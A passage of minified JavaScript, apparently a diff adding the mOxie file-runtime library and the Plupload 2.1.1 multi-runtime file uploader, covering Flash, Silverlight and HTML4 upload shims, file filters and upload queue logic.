t=this.getRuntime(),n;return!w&&_&&t.can("access_image_binary")&&(w=new o(_)),n={width:e().width||0,height:e().height||0,type:x.type||s.getFileMime(x.name),size:_&&_.length||x.size||0,name:x.name||"",meta:w&&w.meta||this.meta||{}}},downsize:function(){p.apply(this,arguments)},getAsCanvas:function(){return E&&(E.id=this.uid+"_canvas"),E},getAsBlob:function(e,t){return e!==this.type&&p.call(this,this.width,this.height,!1),new r(null,{name:x.name||"",type:e,data:v.getAsBinaryString.call(this,e,t)})},getAsDataURL:function(e){var t=arguments[1]||90;if(!R)return y.src;if("image/jpeg"!==e)return E.toDataURL("image/png");try{return E.toDataURL("image/jpeg",t/100)}catch(n){return E.toDataURL("image/jpeg")}},getAsBinaryString:function(e,t){if(!R)return _||(_=c(v.getAsDataURL(e,t))),_;if("image/jpeg"!==e)_=c(v.getAsDataURL(e,t));else{var n;t||(t=90);try{n=E.toDataURL("image/jpeg",t/100)}catch(i){n=E.toDataURL("image/jpeg")}_=c(n),w&&(_=w.stripHeaders(_),b&&(w.meta&&w.meta.exif&&w.setExif({PixelXDimension:this.width,PixelYDimension:this.height}),_=w.writeHeaders(_)),w.purge(),w=null)}return R=!1,_},destroy:function(){v=null,g.call(this),this.getRuntime().getShim().removeInstance(this.uid)}})}return e.Image=c}),i(j,[u,d,f,p,g],function(e,t,n,i,r){function o(){var e;try{e=navigator.plugins["Shockwave Flash"],e=e.description}catch(t){try{e=new ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version")}catch(n){e="0.0"}}return e=e.match(/\d+/g),parseFloat(e[0]+"."+e[1])}function a(a){var c=this,l;a=e.extend({swf_url:t.swf_url},a),r.call(this,a,s,{access_binary:function(e){return e&&"browser"===c.mode},access_image_binary:function(e){return e&&"browser"===c.mode},display_media:r.capTrue,do_cors:r.capTrue,drag_and_drop:!1,report_upload_progress:function(){return"client"===c.mode},resize_image:r.capTrue,return_response_headers:!1,return_response_type:function(t){return"json"===t&&window.JSON?!0:!e.arrayDiff(t,["","text","document"])||"browser"===c.mode},return_status_code:function(t){return"browser"===c.mode||!e.arrayDiff(t,[200,404])},select_file:r.capTrue,select_multiple:r.capTrue,send_binary_string:function(e){return e&&"browser"===c.mode},send_browser_cookies:function(e){return e&&"browser"===c.mode},send_custom_headers:function(e){return e&&"browser"===c.mode},send_multipart:r.capTrue,slice_blob:r.capTrue,stream_upload:function(e){return e&&"browser"===c.mode},summon_file_dialog:!1,upload_filesize:function(t){return e.parseSizeStr(t)<=2097152||"client"===c.mode},use_http_method:function(t){return!e.arrayDiff(t,["GET","POST"])}},{access_binary:function(e){return e?"browser":"client"},access_image_binary:function(e){return e?"browser":"client"},report_upload_progress:function(e){return e?"browser":"client"},return_response_type:function(t){return e.arrayDiff(t,["","text","json","document"])?"browser":["client","browser"]},return_status_code:function(t){return e.arrayDiff(t,[200,404])?"browser":["client","browser"]},send_binary_string:function(e){return e?"browser":"client"},send_browser_cookies:function(e){return e?"browser":"client"},send_custom_headers:function(e){return e?"browser":"client"},stream_upload:function(e){return e?"client":"browser"},upload_filesize:function(t){return e.parseSizeStr(t)>=2097152?"client":"browser"}},"client"),o()<10&&(this.mode=!1),e.extend(this,{getShim:function(){return n.get(this.uid)},shimExec:function(e,t){var n=[].slice.call(arguments,2);return c.getShim().exec(this.uid,e,t,n)},init:function(){var n,r,o;o=this.getShimContainer(),e.extend(o.style,{position:"absolute",top:"-8px",left:"-8px",width:"9px",height:"9px",overflow:"hidden"}),n='<object id="'+this.uid+'" type="application/x-shockwave-flash" data="'+a.swf_url+'" ',"IE"===t.browser&&(n+='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" '),n+='width="100%" height="100%" style="outline:0"><param name="movie" value="'+a.swf_url+'" />'+'<param name="flashvars" value="uid='+escape(this.uid)+"&target="+t.global_event_dispatcher+'" />'+'<param name="wmode" value="transparent" />'+'<param name="allowscriptaccess" value="always" />'+"</object>","IE"===t.browser?(r=document.createElement("div"),o.appendChild(r),r.outerHTML=n,r=o=null):o.innerHTML=n,l=setTimeout(function(){c&&!c.initialized&&c.trigger("Error",new i.RuntimeError(i.RuntimeError.NOT_INIT_ERR))},5e3)},destroy:function(e){return function(){e.call(c),clearTimeout(l),a=l=e=c=null}}(this.destroy)},u)}var s="flash",u={};return r.addConstructor(s,a),u}),i(V,[j,y],function(e,t){var n={slice:function(e,n,i,r){var o=this.getRuntime();return 0>n?n=Math.max(e.size+n,0):n>0&&(n=Math.min(n,e.size)),0>i?i=Math.max(e.size+i,0):i>0&&(i=Math.min(i,e.size)),e=o.shimExec.call(this,"Blob","slice",n,i,r||""),e&&(e=new t(o.uid,e)),e}};return e.Blob=n}),i(W,[j],function(e){var t={init:function(e){this.getRuntime().shimExec.call(this,"FileInput","init",{name:e.name,accept:e.accept,multiple:e.multiple}),this.trigger("ready")}};return e.FileInput=t}),i(Y,[j,m],function(e,t){function n(e,n){switch(n){case"readAsText":return t.atob(e,"utf8");case"readAsBinaryString":return t.atob(e);case"readAsDataURL":return e}return null}var i="",r={read:function(e,t){var r=this,o=r.getRuntime();return"readAsDataURL"===e&&(i="data:"+(t.type||"")+";base64,"),r.bind("Progress",function(t,r){r&&(i+=n(r,e))}),o.shimExec.call(this,"FileReader","readAsBase64",t.uid)},getResult:function(){return i},destroy:function(){i=null}};return e.FileReader=r}),i($,[j,m],function(e,t){function n(e,n){switch(n){case"readAsText":return t.atob(e,"utf8");case"readAsBinaryString":return t.atob(e);case"readAsDataURL":return e}return null}var i={read:function(e,t){var i,r=this.getRuntime();return(i=r.shimExec.call(this,"FileReaderSync","readAsBase64",t.uid))?("readAsDataURL"===e&&(i="data:"+(t.type||"")+";base64,"+i),n(i,e,t.type)):null}};return e.FileReaderSync=i}),i(J,[j,u,y,w,T,S,O],function(e,t,n,i,r,o,a){var s={send:function(e,i){function r(){e.transport=l.mode,l.shimExec.call(c,"XMLHttpRequest","send",e,i)}function s(e,t){l.shimExec.call(c,"XMLHttpRequest","appendBlob",e,t.uid),i=null,r()}function u(e,t){var n=new a;n.bind("TransportingComplete",function(){t(this.result)}),n.transport(e.getSource(),e.type,{ruid:l.uid})}var c=this,l=c.getRuntime();if(t.isEmptyObj(e.headers)||t.each(e.headers,function(e,t){l.shimExec.call(c,"XMLHttpRequest","setRequestHeader",t,e.toString())}),i instanceof o){var d;if(i.each(function(e,t){e instanceof n?d=t:l.shimExec.call(c,"XMLHttpRequest","append",t,e)}),i.hasBlob()){var f=i.getBlob();f.isDetached()?u(f,function(e){f.destroy(),s(d,e)}):s(d,f)}else i=null,r()}else i instanceof n?i.isDetached()?u(i,function(e){i.destroy(),i=e.uid,r()}):(i=i.uid,r()):r()},getResponse:function(e){var n,o,a=this.getRuntime();if(o=a.shimExec.call(this,"XMLHttpRequest","getResponseAsBlob")){if(o=new i(a.uid,o),"blob"===e)return o;try{if(n=new r,~t.inArray(e,["","text"]))return n.readAsText(o);if("json"===e&&window.JSON)return JSON.parse(n.readAsText(o))}finally{o.destroy()}}return null},abort:function(e){var t=this.getRuntime();t.shimExec.call(this,"XMLHttpRequest","abort"),this.dispatchEvent("readystatechange"),this.dispatchEvent("abort")}};return e.XMLHttpRequest=s}),i(Z,[j,y],function(e,t){var n={getAsBlob:function(e){var n=this.getRuntime(),i=n.shimExec.call(this,"Transporter","getAsBlob",e);return i?new t(n.uid,i):null}};return e.Transporter=n}),i(K,[j,u,O,y,T],function(e,t,n,i,r){var o={loadFromBlob:function(e){function t(e){r.shimExec.call(i,"Image","loadFromBlob",e.uid),i=r=null}var i=this,r=i.getRuntime();if(e.isDetached()){var o=new n;o.bind("TransportingComplete",function(){t(o.result.getSource())}),o.transport(e.getSource(),e.type,{ruid:r.uid})}else t(e.getSource())},loadFromImage:function(e){var t=this.getRuntime();return t.shimExec.call(this,"Image","loadFromImage",e.uid)},getAsBlob:function(e,t){var n=this.getRuntime(),r=n.shimExec.call(this,"Image","getAsBlob",e,t);return r?new i(n.uid,r):null},getAsDataURL:function(){var e=this.getRuntime(),t=e.Image.getAsBlob.apply(this,arguments),n;return t?(n=new r,n.readAsDataURL(t)):null}};return e.Image=o}),i(Q,[u,d,f,p,g],function(e,t,n,i,r){function o(e){var t=!1,n=null,i,r,o,a,s,u=0;try{try{n=new ActiveXObject("AgControl.AgControl"),n.IsVersionSupported(e)&&(t=!0),n=null}catch(c){var l=navigator.plugins["Silverlight Plug-In"];if(l){for(i=l.description,"1.0.30226.2"===i&&(i="2.0.30226.2"),r=i.split(".");r.length>3;)r.pop();for(;r.length<4;)r.push(0);for(o=e.split(".");o.length>4;)o.pop();do a=parseInt(o[u],10),s=parseInt(r[u],10),u++;while(u<o.length&&a===s);s>=a&&!isNaN(a)&&(t=!0)}}}catch(d){t=!1}return t}function a(a){var c=this,l;a=e.extend({xap_url:t.xap_url},a),r.call(this,a,s,{access_binary:r.capTrue,access_image_binary:r.capTrue,display_media:r.capTrue,do_cors:r.capTrue,drag_and_drop:!1,report_upload_progress:r.capTrue,resize_image:r.capTrue,return_response_headers:function(e){return e&&"client"===c.mode},return_response_type:function(e){return"json"!==e?!0:!!window.JSON},return_status_code:function(t){return"client"===c.mode||!e.arrayDiff(t,[200,404])},select_file:r.capTrue,select_multiple:r.capTrue,send_binary_string:r.capTrue,send_browser_cookies:function(e){return e&&"browser"===c.mode},send_custom_headers:function(e){return e&&"client"===c.mode},send_multipart:r.capTrue,slice_blob:r.capTrue,stream_upload:!0,summon_file_dialog:!1,upload_filesize:r.capTrue,use_http_method:function(t){return"client"===c.mode||!e.arrayDiff(t,["GET","POST"])}},{return_response_headers:function(e){return e?"client":"browser"},return_status_code:function(t){return e.arrayDiff(t,[200,404])?"client":["client","browser"]},send_browser_cookies:function(e){return e?"browser":"client"},send_custom_headers:function(e){return e?"client":"browser"},use_http_method:function(t){return e.arrayDiff(t,["GET","POST"])?"client":["client","browser"]}}),o("2.0.31005.0")&&"Opera"!==t.browser||(this.mode=!1),e.extend(this,{getShim:function(){return n.get(this.uid).content.Moxie},shimExec:function(e,t){var n=[].slice.call(arguments,2);return c.getShim().exec(this.uid,e,t,n)},init:function(){var e;e=this.getShimContainer(),e.innerHTML='<object id="'+this.uid+'" data="data:application/x-silverlight," type="application/x-silverlight-2" width="100%" height="100%" style="outline:none;">'+'<param name="source" value="'+a.xap_url+'"/>'+'<param name="background" value="Transparent"/>'+'<param name="windowless" value="true"/>'+'<param name="enablehtmlaccess" value="true"/>'+'<param name="initParams" value="uid='+this.uid+",target="+t.global_event_dispatcher+'"/>'+"</object>",l=setTimeout(function(){c&&!c.initialized&&c.trigger("Error",new i.RuntimeError(i.RuntimeError.NOT_INIT_ERR))},"Windows"!==t.OS?1e4:5e3)},destroy:function(e){return function(){e.call(c),clearTimeout(l),a=l=e=c=null}}(this.destroy)},u)}var s="silverlight",u={};return r.addConstructor(s,a),u}),i(et,[Q,u,V],function(e,t,n){return e.Blob=t.extend({},n)}),i(tt,[Q],function(e){var t={init:function(e){function t(e){for(var t="",n=0;n<e.length;n++)t+=(""!==t?"|":"")+e[n].title+" | *."+e[n].extensions.replace(/,/g,";*.");return t}this.getRuntime().shimExec.call(this,"FileInput","init",t(e.accept),e.name,e.multiple),this.trigger("ready")}};return e.FileInput=t}),i(nt,[Q,f,L],function(e,t,n){var i={init:function(){var e=this,i=e.getRuntime(),r;return r=i.getShimContainer(),n.addEvent(r,"dragover",function(e){e.preventDefault(),e.stopPropagation(),e.dataTransfer.dropEffect="copy"},e.uid),n.addEvent(r,"dragenter",function(e){e.preventDefault();var n=t.get(i.uid).dragEnter(e);n&&e.stopPropagation()},e.uid),n.addEvent(r,"drop",function(e){e.preventDefault();var n=t.get(i.uid).dragDrop(e);n&&e.stopPropagation()},e.uid),i.shimExec.call(this,"FileDrop","init")}};return e.FileDrop=i}),i(it,[Q,u,Y],function(e,t,n){return e.FileReader=t.extend({},n)}),i(rt,[Q,u,$],function(e,t,n){return e.FileReaderSync=t.extend({},n)}),i(ot,[Q,u,J],function(e,t,n){return e.XMLHttpRequest=t.extend({},n)}),i(at,[Q,u,Z],function(e,t,n){return e.Transporter=t.extend({},n)}),i(st,[Q,u,K],function(e,t,n){return e.Image=t.extend({},n,{getInfo:function(){var e=this.getRuntime(),n=["tiff","exif","gps"],i={meta:{}},r=e.shimExec.call(this,"Image","getInfo");return r.meta&&t.each(n,function(e){var t=r.meta[e],n,o,a,s;if(t&&t.keys)for(i.meta[e]={},o=0,a=t.keys.length;a>o;o++)n=t.keys[o],s=t[n],s&&(/^(\d|[1-9]\d+)$/.test(s)?s=parseInt(s,10):/^\d*\.\d+$/.test(s)&&(s=parseFloat(s)),i.meta[e][n]=s)}),i.width=parseInt(r.width,10),i.height=parseInt(r.height,10),i.size=parseInt(r.size,10),i.type=r.type,i.name=r.name,i}})}),i(ut,[u,p,g,d],function(e,t,n,i){function r(t){var r=this,s=n.capTest,u=n.capTrue;n.call(this,t,o,{access_binary:s(window.FileReader||window.File&&File.getAsDataURL),access_image_binary:!1,display_media:s(a.Image&&(i.can("create_canvas")||i.can("use_data_uri_over32kb"))),do_cors:!1,drag_and_drop:!1,filter_by_extension:s(function(){return"Chrome"===i.browser&&i.version>=28||"IE"===i.browser&&i.version>=10}()),resize_image:function(){return a.Image&&r.can("access_binary")&&i.can("create_canvas")},report_upload_progress:!1,return_response_headers:!1,return_response_type:function(t){return"json"===t&&window.JSON?!0:!!~e.inArray(t,["text","document",""])},return_status_code:function(t){return!e.arrayDiff(t,[200,404])},select_file:function(){return i.can("use_fileinput")},select_multiple:!1,send_binary_string:!1,send_custom_headers:!1,send_multipart:!0,slice_blob:!1,stream_upload:function(){return r.can("select_file")},summon_file_dialog:s(function(){return"Firefox"===i.browser&&i.version>=4||"Opera"===i.browser&&i.version>=12||!!~e.inArray(i.browser,["Chrome","Safari"])}()),upload_filesize:u,use_http_method:function(t){return!e.arrayDiff(t,["GET","POST"])}}),e.extend(this,{init:function(){this.trigger("Init")},destroy:function(e){return function(){e.call(r),e=r=null}}(this.destroy)}),e.extend(this.getShim(),a)}var o="html4",a={};return n.addConstructor(o,r),a}),i(ct,[ut,u,f,L,l,d],function(e,t,n,i,r,o){function a(){function e(){var r=this,l=r.getRuntime(),d,f,p,h,m,g;g=t.guid("uid_"),d=l.getShimContainer(),a&&(p=n.get(a+"_form"),p&&t.extend(p.style,{top:"100%"})),h=document.createElement("form"),h.setAttribute("id",g+"_form"),h.setAttribute("method","post"),h.setAttribute("enctype","multipart/form-data"),h.setAttribute("encoding","multipart/form-data"),t.extend(h.style,{overflow:"hidden",position:"absolute",top:0,left:0,width:"100%",height:"100%"}),m=document.createElement("input"),m.setAttribute("id",g),m.setAttribute("type","file"),m.setAttribute("name",c.name||"Filedata"),m.setAttribute("accept",u.join(",")),t.extend(m.style,{fontSize:"999px",opacity:0}),h.appendChild(m),d.appendChild(h),t.extend(m.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),"IE"===o.browser&&o.version<10&&t.extend(m.style,{filter:"progid:DXImageTransform.Microsoft.Alpha(opacity=0)"}),m.onchange=function(){var t;this.value&&(t=this.files?this.files[0]:{name:this.value},s=[t],this.onchange=function(){},e.call(r),r.bind("change",function i(){var e=n.get(g),t=n.get(g+"_form"),o;r.unbind("change",i),r.files.length&&e&&t&&(o=r.files[0],e.setAttribute("id",o.uid),t.setAttribute("id",o.uid+"_form"),t.setAttribute("target",o.uid+"_iframe")),e=t=null},998),m=h=null,r.trigger("change"))},l.can("summon_file_dialog")&&(f=n.get(c.browse_button),i.removeEvent(f,"click",r.uid),i.addEvent(f,"click",function(e){m&&!m.disabled&&m.click(),e.preventDefault()},r.uid)),a=g,d=p=f=null}var a,s=[],u=[],c;t.extend(this,{init:function(t){var o=this,a=o.getRuntime(),s;c=t,u=t.accept.mimes||r.extList2mimes(t.accept,a.can("filter_by_extension")),s=a.getShimContainer(),function(){var e,r,u;e=n.get(t.browse_button),a.can("summon_file_dialog")&&("static"===n.getStyle(e,"position")&&(e.style.position="relative"),r=parseInt(n.getStyle(e,"z-index"),10)||1,e.style.zIndex=r,s.style.zIndex=r-1),u=a.can("summon_file_dialog")?e:s,i.addEvent(u,"mouseover",function(){o.trigger("mouseenter")},o.uid),i.addEvent(u,"mouseout",function(){o.trigger("mouseleave")},o.uid),i.addEvent(u,"mousedown",function(){o.trigger("mousedown")},o.uid),i.addEvent(n.get(t.container),"mouseup",function(){o.trigger("mouseup")},o.uid),e=null}(),e.call(this),s=null,o.trigger({type:"ready",async:!0})},getFiles:function(){return s},disable:function(e){var t;(t=n.get(a))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),r=e.getShimContainer();i.removeAllEvents(r,this.uid),i.removeAllEvents(c&&n.get(c.container),this.uid),i.removeAllEvents(c&&n.get(c.browse_button),this.uid),r&&(r.innerHTML=""),t.removeInstance(this.uid),a=s=u=c=r=t=null}})}return e.FileInput=a}),i(lt,[ut,F],function(e,t){return e.FileReader=t}),i(dt,[ut,u,f,b,p,L,y,S],function(e,t,n,i,r,o,a,s){function u(){function e(e){var t=this,i,r,a,s,u=!1;if(l){if(i=l.id.replace(/_iframe$/,""),r=n.get(i+"_form")){for(a=r.getElementsByTagName("input"),s=a.length;s--;)switch(a[s].getAttribute("type")){case"hidden":a[s].parentNode.removeChild(a[s]);break;case"file":u=!0}a=[],u||r.parentNode.removeChild(r),r=null}setTimeout(function(){o.removeEvent(l,"load",t.uid),l.parentNode&&l.parentNode.removeChild(l);var n=t.getRuntime().getShimContainer();n.children.length||n.parentNode.removeChild(n),n=l=null,e()},1)}}var u,c,l;t.extend(this,{send:function(d,f){function p(){var n=m.getShimContainer()||document.body,r=document.createElement("div");r.innerHTML='<iframe id="'+g+'_iframe" name="'+g+'_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>',l=r.firstChild,n.appendChild(l),o.addEvent(l,"load",function(){var n;try{n=l.contentWindow.document||l.contentDocument||window.frames[l.id].document,/^4(0[0-9]|1[0-7]|2[2346])\s/.test(n.title)?u=n.title.replace(/^(\d+).*$/,"$1"):(u=200,c=t.trim(n.body.innerHTML),h.trigger({type:"progress",loaded:c.length,total:c.length}),w&&h.trigger({type:"uploadprogress",loaded:w.size||1025,total:w.size||1025}))}catch(r){if(!i.hasSameOrigin(d.url))return e.call(h,function(){h.trigger("error")}),void 0;u=404}e.call(h,function(){h.trigger("load")})},h.uid)}var h=this,m=h.getRuntime(),g,v,y,w;if(u=c=null,f instanceof s&&f.hasBlob()){if(w=f.getBlob(),g=w.uid,y=n.get(g),v=n.get(g+"_form"),!v)throw new r.DOMException(r.DOMException.NOT_FOUND_ERR)}else g=t.guid("uid_"),v=document.createElement("form"),v.setAttribute("id",g+"_form"),v.setAttribute("method",d.method),v.setAttribute("enctype","multipart/form-data"),v.setAttribute("encoding","multipart/form-data"),v.setAttribute("target",g+"_iframe"),m.getShimContainer().appendChild(v);f instanceof s&&f.each(function(e,n){if(e instanceof a)y&&y.setAttribute("name",n);else{var i=document.createElement("input");t.extend(i,{type:"hidden",name:n,value:e}),y?v.insertBefore(i,y):v.appendChild(i)}}),v.setAttribute("action",d.url),p(),v.submit(),h.trigger("loadstart")},getStatus:function(){return u},getResponse:function(e){if("json"===e&&"string"===t.typeOf(c)&&window.JSON)try{return JSON.parse(c.replace(/^\s*<pre[^>]*>/,"").replace(/<\/pre>\s*$/,""))}catch(n){return null}return c},abort:function(){var t=this;l&&l.contentWindow&&(l.contentWindow.stop?l.contentWindow.stop():l.contentWindow.document.execCommand?l.contentWindow.document.execCommand("Stop"):l.src="about:blank"),e.call(this,function(){t.dispatchEvent("abort")})}})}return e.XMLHttpRequest=u}),i(ft,[ut,X],function(e,t){return e.Image=t}),a([u,c,l,d,f,p,h,m,g,v,y,w,E,_,x,R,b,T,S,A,O,I,L])}(this);;(function(){"use strict";var e={},t=moxie.core.utils.Basic.inArray;return function n(r){var i,s;for(i in r)s=typeof r[i],s==="object"&&!~t(i,["Exceptions","Env","Mime"])?n(r[i]):s==="function"&&(e[i]=r[i])}(window.moxie),e.Env=window.moxie.core.utils.Env,e.Mime=window.moxie.core.utils.Mime,e.Exceptions=window.moxie.core.Exceptions,window.mOxie=e,window.o||(window.o=e),e})();
+/**
+ * Plupload - multi-runtime File Uploader
+ * v2.1.1
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ *
+ * Date: 2014-01-16
+ */
+;(function(e,t,n){function s(e){function r(e,t,r){var i={chunks:"slice_blob",jpgresize:"send_binary_string",pngresize:"send_binary_string",progress:"report_upload_progress",multi_selection:"select_multiple",dragdrop:"drag_and_drop",drop_element:"drag_and_drop",headers:"send_custom_headers",canSendBinary:"send_binary",triggerDialog:"summon_file_dialog"};i[e]?n[i[e]]=t:r||(n[e]=t)}var t=e.required_features,n={};return typeof t=="string"?o.each(t.split(/\s*,\s*/),function(e){r(e,!0)}):typeof t=="object"?o.each(t,function(e,t){r(t,e)}):t===!0&&(e.multipart||(n.send_binary_string=!0),e.chunk_size>0&&(n.slice_blob=!0),e.resize.enabled&&(n.send_binary_string=!0),o.each(e,function(e,t){r(t,!!e,!0)})),n}var r=e.setTimeout,i={},o={VERSION:"2.1.1",STOPPED:1,STARTED:2,QUEUED:1,UPLOADING:2,FAILED:4,DONE:5,GENERIC_ERROR:-100,HTTP_ERROR:-200,IO_ERROR:-300,SECURITY_ERROR:-400,INIT_ERROR:-500,FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,FILE_DUPLICATE_ERROR:-602,IMAGE_FORMAT_ERROR:-700,IMAGE_MEMORY_ERROR:-701,IMAGE_DIMENSIONS_ERROR:-702,mimeTypes:t.mimes,ua:t.ua,typeOf:t.typeOf,extend:t.extend,guid:t.guid,get:function(n){var r=[],i;t.typeOf(n)!=="array"&&(n=[n]);var s=n.length;while(s--)i=t.get(n[s]),i&&r.push(i);return r.length?r:null},each:t.each,getPos:t.getPos,getSize:t.getSize,xmlEncode:function(e){var t={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"},n=/[<>&\"\']/g;return e?(""+e).replace(n,function(e){return t[e]?"&"+t[e]+";":e}):e},toArray:t.toArray,inArray:t.inArray,addI18n:t.addI18n,translate:t.translate,isEmptyObj:t.isEmptyObj,hasClass:t.hasClass,addClass:t.addClass,removeClass:t.removeClass,getStyle:t.getStyle,addEvent:t.addEvent,removeEvent:t.removeEvent,removeAllEvents:t.removeAllEvents,cleanName:function(e){var t,n;n=[/[\300-\306]/g,"A",/[\340-\346]/g,"a",/\307/g,"C",/\347/g,"c",/[\310-\313]/g,"E",/[\350-\353]/g,"e",/[\314-\317]/g,"I",/[\354-\357]/g,"i",/\321/g,"N",/\361/g,"n",/[\322-\330]/g,"O",/[\362-\370]/g,"o",/[\331-\334]/g,"U",/[\371-\374]/g,"u"];for(t=0;t<n.length;t+=2)e=e.replace(n[t],n[t+1]);return e=e.replace(/\s+/g,"_"),e=e.replace(/[^a-z0-9_\-\.]+/gi,""),e},buildUrl:function(e,t){var n="";return o.each(t,function(e,t){n+=(n?"&":"")+encodeURIComponent(t)+"="+encodeURIComponent(e)}),n&&(e+=(e.indexOf("?")>0?"&":"?")+n),e},formatSize:function(e){function t(e,t){return Math.round(e*Math.pow(10,t))/Math.pow(10,t)}if(e===n||/\D/.test(e))return o.translate("N/A");var r=Math.pow(1024,4);return e>r?t(e/r,1)+" "+o.translate("tb"):e>(r/=1024)?t(e/r,1)+" "+o.translate("gb"):e>(r/=1024)?t(e/r,1)+" "+o.translate("mb"):e>1024?Math.round(e/1024)+" "+o.translate("kb"):e+" "+o.translate("b")},parseSize:t.parseSizeStr,predictRuntime:function(e,n){var r,i;return r=new o.Uploader(e),i=t.Runtime.thatCan(r.getOption().required_features,n||e.runtimes),r.destroy(),i},addFileFilter:function(e,t){i[e]=t}};o.addFileFilter("mime_types",function(e,t,n){e.length&&!e.regexp.test(t.name)?(this.trigger("Error",{code:o.FILE_EXTENSION_ERROR,message:o.translate("File extension error."),file:t}),n(!1)):n(!0)}),o.addFileFilter("max_file_size",function(e,t,n){var r;e=o.parseSize(e),t.size!==r&&e&&t.size>e?(this.trigger("Error",{code:o.FILE_SIZE_ERROR,message:o.translate("File size error."),file:t}),n(!1)):n(!0)}),o.addFileFilter("prevent_duplicates",function(e,t,n){if(e){var r=this.files.length;while(r--)if(t.name===this.files[r].name&&t.size===this.files[r].size){this.trigger("Error",{code:o.FILE_DUPLICATE_ERROR,message:o.translate("Duplicate file error."),file:t}),n(!1);return}}n(!0)}),o.Uploader=function(e){function g(){var e,t=0,n;if(this.state==o.STARTED){for(n=0;n<f.length;n++)!e&&f[n].status==o.QUEUED?(e=f[n],this.trigger("BeforeUpload",e)&&(e.status=o.UPLOADING,this.trigger("UploadFile",e))):t++;t==f.length&&(this.state!==o.STOPPED&&(this.state=o.STOPPED,this.trigger("StateChanged")),this.trigger("UploadComplete",f))}}function y(e){e.percent=e.size>0?Math.ceil(e.loaded/e.size*100):100,b()}function b(){var e,t;d.reset();for(e=0;e<f.length;e++)t=f[e],t.size!==n?(d.size+=t.origSize,d.loaded+=t.loaded*t.origSize/t.size):d.size=n,t.status==o.DONE?d.uploaded++:t.status==o.FAILED?d.failed++:d.queued++;d.size===n?d.percent=f.length>0?Math.ceil(d.uploaded/f.length*100):0:(d.bytesPerSec=Math.ceil(d.loaded/((+(new Date)-p||1)/1e3)),d.percent=d.size>0?Math.ceil(d.loaded/d.size*100):0)}function w(){var e=c[0]||h[0];return e?e.getRuntime().uid:!1}function E(e,n){if(e.ruid){var r=t.Runtime.getInfo(e.ruid);if(r)return r.can(n)}return!1}function S(){this.bind("FilesAdded",C),this.bind("CancelUpload",M),this.bind("BeforeUpload",k),this.bind("UploadFile",L),this.bind("UploadProgress",A),this.bind("StateChanged",O),this.bind("QueueChanged",b),this.bind("Error",D),this.bind("FileUploaded",_),this.bind("Destroy",P)}function x(e,n){var r=this,i=0,s=[],u={accept:e.filters.mime_types,runtime_order:e.runtimes,required_caps:e.required_features,preferred_caps:l,swf_url:e.flash_swf_url,xap_url:e.silverlight_xap_url};o.each(e.runtimes.split(/\s*,\s*/),function(t){e[t]&&(u[t]=e[t])}),e.browse_button&&o.each(e.browse_button,function(n){s.push(function(s){var a=new t.FileInput(o.extend({},u,{name:e.file_data_name,multiple:e.multi_selection,container:e.container,browse_button:n}));a.onready=function(){var e=t.Runtime.getInfo(this.ruid);t.extend(r.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),multi_selection:e.can("select_multiple")}),i++,c.push(this),s()},a.onchange=function(){r.addFile(this.files)},a.bind("mouseenter mouseleave mousedown mouseup",function(r){v||(e.browse_button_hover&&("mouseenter"===r.type?t.addClass(n,e.browse_button_hover):"mouseleave"===r.type&&t.removeClass(n,e.browse_button_hover)),e.browse_button_active&&("mousedown"===r.type?t.addClass(n,e.browse_button_active):"mouseup"===r.type&&t.removeClass(n,e.browse_button_active)))}),a.bind("error runtimeerror",function(){a=null,s()}),a.init()})}),e.drop_element&&o.each(e.drop_element,function(e){s.push(function(n){var s=new t.FileDrop(o.extend({},u,{drop_zone:e}));s.onready=function(){var e=t.Runtime.getInfo(this.ruid);r.features.dragdrop=e.can("drag_and_drop"),i++,h.push(this),n()},s.ondrop=function(){r.addFile(this.files)},s.bind("error runtimeerror",function(){s=null,n()}),s.init()})}),t.inSeries(s,function(){typeof n=="function"&&n(i)})}function T(e,n,r){var i=new t.Image;try{i.onload=function(){i.downsize(n.width,n.height,n.crop,n.preserve_headers)},i.onresize=function(){r(this.getAsBlob(e.type,n.quality)),this.destroy()},i.onerror=function(){r(e)},i.load(e)}catch(s){r(e)}}function N(e,n,r){function f(e,t,n){var r=a[e];switch(e){case"max_file_size":e==="max_file_size"&&(a.max_file_size=a.filters.max_file_size=t);break;case"chunk_size":if(t=o.parseSize(t))a[e]=t;break;case"filters":o.typeOf(t)==="array"&&(t={mime_types:t}),n?o.extend(a.filters,t):a.filters=t,t.mime_types&&(a.filters.mime_types.regexp=function(e){var t=[];return o.each(e,function(e){o.each(e.extensions.split(/,/),function(e){/^\s*\*\s*$/.test(e)?t.push("\\.*"):t.push("\\."+e.replace(new RegExp("["+"/^$.*+?|()[]{}\\".replace(/./g,"\\$&")+"]","g"),"\\$&"))})}),new RegExp("("+t.join("|")+")$","i")}(a.filters.mime_types));break;case"resize":n?o.extend(a.resize,t,{enabled:!0}):a.resize=t;break;case"prevent_duplicates":a.prevent_duplicates=a.filters.prevent_duplicates=!!t;break;case"browse_button":case"drop_element":t=o.get(t);case"container":case"runtimes":case"multi_selection":case"flash_swf_url":case"silverlight_xap_url":a[e]=t,n||(u=!0);break;default:a[e]=t}n||i.trigger("OptionChanged",e,t,r)}var i=this,u=!1;typeof e=="object"?o.each(e,function(e,t){f(t,e,r)}):f(e,n,r),r?(a.required_features=s(o.extend({},a)),l=s(o.extend({},a,{required_features:!0}))):u&&(i.trigger("Destroy"),x.call(i,a,function(e){e?(i.runtime=t.Runtime.getInfo(w()).type,i.trigger("Init",{runtime:i.runtime}),i.trigger("PostInit")):i.trigger("Error",{code:o.INIT_ERROR,message:o.translate("Init error.")})}))}function C(e,t){[].push.apply(f,t),e.trigger("QueueChanged"),e.refresh()}function k(e,t){if(a.unique_names){var n=t.name.match(/\.([^.]+)$/),r="part";n&&(r=n[1]),t.target_name=t.id+"."+r}}function L(e,n){function h(){u-->0?r(p,1e3):(n.loaded=f,e.trigger("Error",{code:o.HTTP_ERROR,message:o.translate("HTTP 